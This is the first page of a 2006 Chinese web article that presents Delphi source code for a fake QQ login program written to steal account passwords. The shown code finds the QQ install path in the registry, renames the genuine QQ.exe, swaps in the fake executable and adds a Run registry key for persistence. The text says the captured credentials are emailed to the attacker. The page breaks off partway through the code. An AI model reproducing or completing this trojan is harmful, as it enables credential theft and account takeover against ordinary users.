 |
关于最近网上流传得厉害的Qicq密码被盗的程序原理 |
|
| 关于最近网上流传得厉害的Qicq密码被盗的程序原理 |
|
| 作者：未知 文章来源：网络收集 点击数： 更新时间：2006-3-29 15:21:46
|
本人最近听说网上有人用假qq盗取qq密码的事,开始百思不得其解，某日突然灵感以来。想到原理是如此简单，特用一天时间写下该程序。。和各位大虾交流学习。。。
主要的过程为，程序先假拌qq2003版的登陆界面，当启动程序时，就会在注册表中搜索qq的安装路径。
找到后将真的QQ.exe文件改名称，随后将假QQ.exe复制过来。。当用户在登陆框输入帐号密码信息时，程序就会立即发送到指定的邮箱。如此一来。。嘿嘿黑。。。。。。
下面是具体实现过程：
var
Form1: TForm1;
Track: boolean;
jqqpath,zqqpath: string;
implementation
uses Unit2;
{$R *.dfm}
procedure hehe;
var
reg: TRegistry;
begin
//先在注册表中搜索qq目录
jqqpath:=application.ExeName;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey(’\SOFTWARE’,false);
if reg.KeyExists(’腾讯QQ’)=true then
begin
track:=true;
reg.OpenKey(’腾讯QQ’,false);
zqqpath:=reg.ReadString(’Install’);
//找到后进入该目录
chdir(zqqpath);
//重命名qq.exe 为 softman.dll
renamefile(’qq.exe’,’softman.dll’);
//将自己复制到该目录
copyfile(pchar(application.exename),pchar(zqqpath+’QQ.exe’),false);
reg.Free;
end
else
begin
track:=false;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey(’\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,false);
reg.WriteString(’softman’,application.ExeName);
reg.Free;
end;
end;
//创建快解方式的函数
function AddTail(Src: String): String;
//在路径字符串的最后加上’\’
begin
if (Src[length(Src)]<>’\’) then result:=Src+’\’ else result:=Src;
end;
procedure CreateShortCut(FileName, ShortCutName: String);
var
tmpObject : IUnknown;
&[1] [2] [3] [4] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入：kinda 责任编辑：kinda |
|
上一篇文章： Win32调试API 第一部分
下一篇文章： 最新病毒WORM_MSBLAST详解 |
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
用户登录 
新用户注册 
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）